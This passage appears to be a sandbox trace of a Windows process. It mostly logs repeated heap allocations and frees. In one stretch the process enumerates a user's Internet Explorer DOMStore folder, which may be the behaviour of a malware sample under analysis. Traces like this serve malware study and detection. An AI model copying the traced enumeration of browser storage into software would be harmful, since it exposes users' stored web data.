Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.279] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.279] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.279] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.279] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.279] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.279] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.279] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.279] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.279] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.279] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.279] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.279] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.279] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.279] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.279] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.280] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.280] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.280] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.280] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.280] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.280] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.280] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.280] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.280] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.280] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.280] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.280] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\") returned="UV0DUWVB\\" [0062.280] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0062.280] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febd00 [0062.280] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.280] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0062.280] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee980 [0062.280] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febd00 | out: hHeap=0x670000) returned 1 [0062.280] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0062.280] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0062.280] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0062.280] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74eb40 [0062.280] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee980 | out: hHeap=0x670000) returned 1 [0062.280] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0062.280] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0062.280] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74eb40 | out: hHeap=0x670000) returned 1 [0062.280] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0062.281] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0062.281] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0062.281] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0062.281] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0062.281] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d09c8 | out: hHeap=0x670000) returned 1 [0062.281] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.281] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0062.281] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0062.281] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.281] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0062.281] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.281] PathFindFileNameW (pszPath="") returned="" [0062.281] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.281] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.281] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.281] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.281] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0062.281] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.281] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0062.281] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30171f0 | out: hHeap=0x670000) returned 1 [0062.281] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.281] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x30171f0 [0062.282] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0062.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0062.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 